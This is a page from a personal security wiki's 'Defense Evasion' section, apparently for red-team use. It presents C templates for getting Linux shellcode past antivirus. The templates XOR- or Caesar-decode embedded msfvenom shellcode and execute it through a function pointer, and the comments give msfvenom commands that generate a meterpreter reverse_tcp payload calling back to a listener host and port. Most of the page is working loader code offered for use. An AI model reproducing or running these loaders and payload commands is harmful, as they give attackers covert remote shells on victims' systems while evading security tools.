AJ-Labz
  • whoami
  • The Lab
    • Building the Lab
      • Physical Hardware
      • ESXi
        • Install ESXi without a keyboard
      • vCenter Server Installation
      • Configure vCenter Datacenter
      • Virtual Networking
      • Install Virtual Machine
      • Install Virtual Firewall
      • Increasing VM Harddrive size
    • Building the Windows Domain
    • Building a Local DNS Server
    • Installing Apache Guacamole
    • Installing WireGuard VPN
    • Industrial Control Systems (ICS)
  • Defensive Cyberz
  • Analytic Repo
    • Beacon Detection
  • Creating an SIEM
    • Installing Security Onion (SO)
    • Splunk
    • Getting the Windows Data You Need
  • Zeek || Bro
    • Bro/Zeek Script
    • Installing Protocol Analyzers
  • Offensive Cyberz
    • Cobalt Strike Red Team Cheat Sheet
    • Defense Evasion
      • Evading Defender with CobaltStrike
      • Disable AV
      • AMSI Bypass
      • Evade Heuristic Behaviors
        • Process Injection
        • Process Hollowing
        • Reflection
        • AppLocker Bypass
        • Powershell CLM Bypass
      • Linux Shellcode Encoders
    • AD Enumeration
      • AD Tools
      • PowerView
      • BloodHound
      • DAFT Commands
      • Enumeration Commands
    • AD Attack
      • Prompt for Credentials
      • LAPS Reader
      • Abusing ACLs
    • Command and Control
      • Covenant Framework
      • Simple HTTPS Server
    • Linux
      • Shells
      • Impacket
      • SSH
      • Kerberos Cache File
      • Ansible
      • Privilege Escalation
    • Phishing
      • LNK Script
    • Wireless Attacks
    • Create a Trojan
  • Cyber Readingz
    • Recommended Readings
Powered by GitBook
On this page
  • C Payloads
  • XOR Encoding
  • Ceasar Shift
  • CyberChef Encoder Shortcut

Was this helpful?

  1. Offensive Cyberz
  2. Defense Evasion

Linux Shellcode Encoders

Bypass Linux AV with C

C Payloads

When you're done building your payload make sure the processor architecture matches the target environment

gcc -o payload.out linux_payload.c -z execstack

XOR Encoding

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

//sudo msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=443 -f c --encrypt xor --encrypt-key R

unsigned char buf[] =<PAYLOAD>;


int main (int argc, char **argv) 
{
	char xor_key = 'R';
	int arraysize = (int) sizeof(buf);
	for (int i=0; i<arraysize-1; i++)
	{
		buf[i] = buf[i]^xor_key;
	}
	int (*ret)() = (int(*)())buf;
	ret();
}

Ceasar Shift

Ceasar Shift Template

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

//sudo msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=443 -f c
unsigned char buf[] = <PAYLOAD>;

int main (int argc, char **argv)
{
	int payload_length = ((int) sizeof(buf)) -1;
        printf("Ceasar Shift - 2");
        printf("\n");
        //unsigned char enc[payload_length];
	//unsigned char dec[payload_length];

	for (int i=0; i<payload_length; i++)
	{
	   //enc[i] = ((buf[i]-2)& 0xFF);
	   printf("\\x%02X",((buf[i]-2)& 0xFF));
	}
	
	/* THE FOLLOWING IS IF YOU WANTED TO TEST YOUR OWN ENCODING METHOD
	printf("\n");
        printf("Ceasar Shift Decoded");
        printf("\n");
        for (int i=0; i<payload_length; i++)
        {
	  dec[i] = ((enc[i]+2)& 0xFF);
          printf("\\x%02X",((enc[i]+2)& 0xFF));
        }
	printf("\n");
	if(memcmp(buf,dec,sizeof buf)==0)
	   printf("decode of shellcode is the same");
        printf("\n");
        */
	return 0;
	
}

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char buf[] ="<COPY PAYLOAD FROM ENCODER ABOVE>";

int main (int argc, char **argv) 
{
        int arraysize = (int) sizeof(buf);
        for (int i=0; i<arraysize-1; i++)
        {
                buf[i] = ((buf[i]+2)& 0xff);
        }
        int (*ret)() = (int(*)())buf;
        ret();
}

CyberChef Encoder Shortcut

Ceasar Shift Link

XOR Link

PreviousPowershell CLM BypassNextAD Enumeration

Last updated 3 years ago

Was this helpful?

CyberChef
Shift - 2 By Default
CyberChef
XOR "R" By Default